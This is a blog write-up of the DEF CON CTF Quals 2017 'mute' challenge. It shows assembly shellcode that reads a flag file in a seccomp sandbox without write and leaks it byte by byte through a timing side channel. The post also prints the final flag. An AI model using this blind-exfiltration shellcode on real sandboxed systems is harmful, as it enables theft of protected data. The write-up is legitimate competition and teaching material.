Monday, May 1, 2017

DEF CON CTF Quals 2017 - mute




This was a very fun challenge by @Gynophage! The idea was fairly simple, you get a binary which will call your shellcode after a buffer of 0x1000 bytes is filled, and is restricted to certain seccomp rules.

If we look at the binary in Binary Ninja we can see the seccomp rules being setup:


Each value being passed to the addRule function is a syscall number which is allowed.

If we look at the addRule function, we can see it just wraps seccomp_rule_add, passing the syscall value and setting the action as 0x7fff0000 which turns out to be mapped to allow.



Enumerating all the possible syscalls we can use for our shellcode, we get this list:


sys_read
sys_open
sys_close
sys_stat
sys_fstat
sys_lstat
sys_poll
sys_lseek
sys_mmap
sys_mprotect
sys_munmap
sys_brk
sys_execve

Notice, we get execve, but we are also missing a crucial syscall for any common tasks - write.  Now we can understand why this challenge is called 'mute'.

This challenge instantly reminded me of BROP, but less involved.  We'll have to extract data from the remote server somehow.  Similar to BROP & Blind SQLi, we could use a timing side-channel attack to extract the flag.


First let's read in the flag with your standard ORW shellcode (minus the write). We knew the flag would probably exist as './flag' thanks to @matir who discovered this from previous challenges such as beatmeonthedl.

; clear registers
xor rax, rax
xor rsi, rsi
xor rbx, rbx
xor rdi, rdi

; fd = open("./flag", 0, 0)
push rax
add rax, 2
mov rsi, 0x67616c662f2f2f2e
push rsi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

; read(fd, $rsp, 0xff)
mov rdi, rax
mov rsi, rsp
mov rdx, 0xff
xor rax, rax
syscall

So far all we're doing is clearing out registers, opening the file './flag' and reading that directly to the stack.

Now we can read a byte off the stack at a time, compare that to some predicted value and hang the process if the value does matches.

Unfortunately we cannot just call 'sleep' because sys_nanosleep and other syscalls 'sleep' depends on are not allowed. However, we may implement our own sleep with some NOP's in a loop. In this case, I use an infinite loop (not recommended), because of laziness.

Also the variables I added here, $POS and $BYTE, are used to index into the flag and compare against a predicted value:

; verify one byte from the stack
add rsp, $POS
xor rax, rax
mov al, $BYTE
pop rbx, rsp
mov bl, bl
cmp al, bl
je L2
jmp done

L2:
nop
jmp L2

done:
nop

Now we just need to write a client to dynamically assemble shellcode based on position in the flag buffer and byte to check, timing out on a valid character.

Here is the full client:



You can also find all the challenge files here - https://github.com/vitapluvia/writeups/tree/master/defconCTF2017/pwn

Ended up using rasm2 as the assembler for this challenge, it was very helpful when trying out various methods. If you'd like to install rasm2, just install radare2 and it'll come as a command-line tool. They also have python bindings, but I didn't get that to that point.

Now when we run the client, we get:

The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa
******************************************************************************************************************_____________

Done!

    The flag is: I thought what I'd do was, I'd pretend I was one of those deaf mutes d9099cd0d3e6cb47fe3a9b0e631901fa